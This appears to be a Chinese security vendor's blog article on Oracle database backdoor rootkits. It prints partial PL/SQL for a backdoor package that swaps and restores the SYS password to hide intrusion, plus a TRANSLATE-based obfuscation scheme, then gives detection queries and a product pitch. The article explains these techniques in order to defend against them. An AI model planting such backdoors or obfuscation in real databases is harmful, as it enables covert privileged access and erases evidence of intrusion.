數(shù)據(jù)安全治理關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫脫敏技術(shù)詳解
數(shù)據(jù)安全治理之API監(jiān)測系統(tǒng) ,解決API接口安全問題【安華金和】
新一代數(shù)據(jù)庫脫敏技術(shù),為敏感數(shù)據(jù)建立保護(hù)盾!
數(shù)據(jù)庫脫敏系統(tǒng)與金融行業(yè)案例解讀
數(shù)據(jù)安全治理建設(shè)思路的著力點(diǎn)——數(shù)據(jù)安全咨詢服務(wù)【安華金和】
數(shù)據(jù)庫防火墻功能有哪些?-數(shù)據(jù)安全-安華金和
數(shù)據(jù)安全關(guān)鍵技術(shù)之?dāng)?shù)據(jù)庫脫敏技術(shù)詳解【安華金和】
中國數(shù)據(jù)安全治理落地指導(dǎo)書籍《數(shù)據(jù)安全治理白皮書5.0》正式發(fā)布(附下載)
各位小伙伴們,今天咱們接著聊Oracle Rootkits話題。上次主要給各位介紹了數(shù)據(jù)庫后門和Rootkits技術(shù)給數(shù)據(jù)庫帶來的威脅和風(fēng)險(xiǎn)。由于篇幅所限未能深入分析數(shù)據(jù)庫后門和Rootkits所采用的具體技術(shù)。本文則詳細(xì)展開介紹Oracle Rootkits技術(shù)的第一類(裸奔),旨在幫助小伙伴們掌握此類后門Rootkits技術(shù)的特點(diǎn)后,更好地保護(hù)自己的數(shù)據(jù)庫安全。如果有小伙伴們沒有事先了解數(shù)據(jù)庫后門和Rootkits,可以先閱讀一文做個(gè)大致了解。
為什么我們把今天的講題命名為裸奔呢?因?yàn)楹推渌惣夹g(shù)類型比起來,這類用來隱藏?cái)?shù)據(jù)庫后門的Rootkits技術(shù)基本不具備特別的隱蔽技巧,甚至有時(shí)候不加任何偽裝就可以把后門植入到數(shù)據(jù)庫中,完全是鉆了數(shù)據(jù)庫安全檢查產(chǎn)品或數(shù)據(jù)庫運(yùn)維人員疏忽的空子而得以”存活”。受限于攻擊者能拿到的權(quán)限和攻擊者自身水平,大部分?jǐn)?shù)據(jù)庫后門,就是采用系列三中介紹的第一類Rootkits技術(shù)。這類Oracle Rootkits技術(shù)又可以細(xì)分成三種類型:
第一種是不做任何隱藏的數(shù)據(jù)庫后門;
第二種是通過編碼加密的數(shù)據(jù)庫后門;
第三種是通過Oracle warp整體加密的數(shù)據(jù)庫后門。
由于每種使用了不同的隱藏技術(shù)所以在找到這些威脅的時(shí)候所采用的技術(shù)手段也存在很大差異。目前,安華金和數(shù)據(jù)庫攻防實(shí)驗(yàn)室已經(jīng)發(fā)現(xiàn)90多例使用此類技術(shù)的數(shù)據(jù)庫后門。比較典型的案例之一是在去年年底爆發(fā)的針對Oracle的比特幣勒索事件,其所攻擊的數(shù)據(jù)庫后門就是采用此類技術(shù)中的第三種warp加密得以隱身,具體請參見《Oracle比特幣勒索攻擊檢測及修復(fù)工具》。
數(shù)據(jù)庫中一個(gè)DBA用戶、一個(gè)函數(shù)、一個(gè)存儲過程、一個(gè)觸發(fā)器,或者幾個(gè)之間相互配合都可以形成數(shù)據(jù)庫后門。為了讓大家更直觀的理解,下面所舉數(shù)據(jù)庫漏洞的例子均采用數(shù)據(jù)庫存儲過程型做代表。
當(dāng)黑客在入侵過程中獲得數(shù)據(jù)庫的DBA權(quán)限后,就可以針對數(shù)據(jù)庫部署后門程序。這種后門存儲過程為了幫助黑客達(dá)成某種目的,必定會對某些關(guān)鍵表,或者高危權(quán)限進(jìn)行操作。例如,下圖的后門dbms_xml通過調(diào)用lock和unlock來控制SYS用戶的密碼,當(dāng)黑客操作unlock的時(shí)候,首先創(chuàng)建表syspa1用于存儲從sys.user$中拿到的SYS用戶的密碼。然后修改SYS密碼為hack11hack'。登錄SYS用戶后,有目的地入侵有價(jià)值的數(shù)據(jù)庫后,利用SYS用戶權(quán)限清理數(shù)據(jù)庫的日志信息。最后使用lock把SYS用戶的密碼還原回去,并刪除中間生成的表syspa1。黑客利用這個(gè)存儲過程既能達(dá)到自己的目的,又能巧妙地隱藏SYS密碼曾被修改的記錄,并將SYS恢復(fù)到修改前的狀態(tài),消除數(shù)據(jù)庫被入侵過的痕跡。
……..
CREATE OR REPLACE PACKAGE BODY dbms_xml AS
PROCEDURE parse (string IN VARCHAR2) IS
var1 VARCHAR2 (100);
BEGIN
IF string = 'unlock' THEN
SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = 'SYS'; --11
EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))';
EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')';
COMMIT;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack';
END IF;
IF string = 'lock' THEN
EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||'''';
EXECUTE IMMEDIATE 'DROP TABLE syspa1';
END IF;
……….
第一種數(shù)據(jù)庫后門沒采用任何隱身方法,因此,借助工具或者數(shù)據(jù)庫管理員手工排查很快就可以將之揪出,并予以解決。黑客對數(shù)據(jù)庫后門施以隱身技術(shù),最常見的是采取自編碼加密的方式。利用編碼隱藏?cái)?shù)據(jù)庫后門存在的特征,躲避數(shù)據(jù)庫安全工具或數(shù)據(jù)庫管理員的定期檢查。下面仍為后門dbms_xml,但在真正執(zhí)行關(guān)鍵語句前,黑客加入了一段字符串置換的邏輯,通過這種手段把關(guān)鍵操作隱藏起來,下面我們用TRANSLATE來做編碼置換:
………
FUNCTION conv (input IN VARCHAR2)
RETURN VARCHAR2
IS
x VARCHAR2 (300);
BEGIN
x :=
TRANSLATE (input,
'ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ',
‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
);
RETURN x;
EXCEPTION
WHEN OTHERS
THEN
RETURN NULL;
END conv;
……….
函數(shù)conv 可以通過黑客自定義的映射表,把SELECT PASSWORD FROM sys.user$ WHERE name = 'SYS'這句對敏感表sys.user$和敏感字段PASSWORD 的高危查詢就變成了7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717。這種方式的Rootkit通過編碼的方式把數(shù)據(jù)庫后門隱藏起來,躲避安全工具的檢查和數(shù)據(jù)庫管理員的偵測。
……….
EXECUTE IMMEDIATE conv ('7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717''')INTO var1;
EXECUTE IMMEDIATE conv ('NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))');
EXECUTE IMMEDIATE conv ('GBwKxvZGBvAZwqwzOYZtODuKwZ(''') || var1 || ''')';
COMMIT;
………
黑客在調(diào)用存儲過程時(shí),內(nèi)部調(diào)用函數(shù)conv對編碼的字符串作出還原的動(dòng)作,黑客利用該方式消除了第一種方式中后門可能被發(fā)現(xiàn)的風(fēng)險(xiǎn)。這種方法比第一種更加隱蔽,且危險(xiǎn)。
雖然第二種方法已經(jīng)成功隱掉了數(shù)據(jù)庫后門的特征,卻引入了新的暴露點(diǎn),因?yàn)榧用芑蚓幋a函數(shù)本身可能會暴露一切。而且解密函數(shù)會直接出現(xiàn)在數(shù)據(jù)中,解密后數(shù)據(jù)庫后門也就難以隱藏了。
于是,很多黑客開始采用warp(筆者不太清楚其他數(shù)據(jù)庫是否存在類似Oracle的warp)對數(shù)據(jù)庫后門進(jìn)行加密。Warp的特點(diǎn)有二:1.Oracle只提供了warp加密并未提供warp解密,給破解后的應(yīng)對帶來一定技術(shù)難度;2.warp加密的存儲過程或函數(shù)在Oracle運(yùn)行態(tài)中自動(dòng)解密并執(zhí)行,無需引入其他變量,這就增加了后門被發(fā)現(xiàn)的風(fēng)險(xiǎn)。dbms_xml用warp加密見下圖所示:
看完上述的后門隱身技術(shù),很多小伙伴可能會疑惑:所謂“裸奔”級別的后門隱身技術(shù),哪有想象中那樣簡單啊。特別是第二、第三種方法,找出被它們隱藏的后門還是困難重重的。別急,等你看完安華金和數(shù)據(jù)庫攻防實(shí)驗(yàn)室給大家支的招,你就覺得,這個(gè)技術(shù)也不過如此。
自己動(dòng)手豐衣足食
前述第一種方式相對最簡單,這種方式的數(shù)據(jù)庫后門沒有使用任何隱身技術(shù),想抓捕這種方式下的數(shù)據(jù)庫后門,關(guān)鍵是具備對“三敏感”的捕獲能力。
“三敏感”即敏感表、敏感字段和敏感操作的簡稱。通過sys.source$可以查詢哪些存儲過程或函數(shù)中存在調(diào)用“三敏感”的地方,例如,可以使用類似下方的檢查項(xiàng)來檢查是否存在修改密碼的行為:
select ……… SQLTEXT from dba_source a,dba_procedures b……
where lower(text) like '%grant%to%identified%by%'……
and lower(text) not like '% wrapped%'………..
……..
把握好“三敏感”的檢查原則,應(yīng)該就可以揪出潛伏在數(shù)據(jù)庫中的第一種數(shù)據(jù)庫后門。而破除第二、第三種后門的隱身技術(shù),則需要破除它們自身所攜帶的編碼/加密保護(hù)。
第二種除了檢查“三敏感”的操作,還需要檢查哪些函數(shù)或存儲過程等使用了解密函數(shù)或者置換函數(shù)。先發(fā)現(xiàn)使用這些加解密或編碼的函數(shù),然后再檢查哪些存儲過程調(diào)用過該函數(shù),最終安排人力進(jìn)行一一排查。
第三種由于warp加密缺乏公開解密辦法,是相對最難清除的一種后門隱身技術(shù),其難點(diǎn)不但在于繁重的人力工作,還需要掌握warp解密的算法。Warp解密算法相對較為復(fù)雜,有很多細(xì)節(jié),本文暫不展開說明。
成熟產(chǎn)品助力解決
尋找數(shù)據(jù)庫中潛伏的后門,需要交給專業(yè)的公司。安華金和的數(shù)據(jù)庫漏洞掃描產(chǎn)品,涵蓋上述三種后門隱身的破解能力,能破解后門使用的上述隱身技術(shù),通過特征揪出潛伏在數(shù)據(jù)庫中的安全威脅,為數(shù)據(jù)庫安全保駕護(hù)航。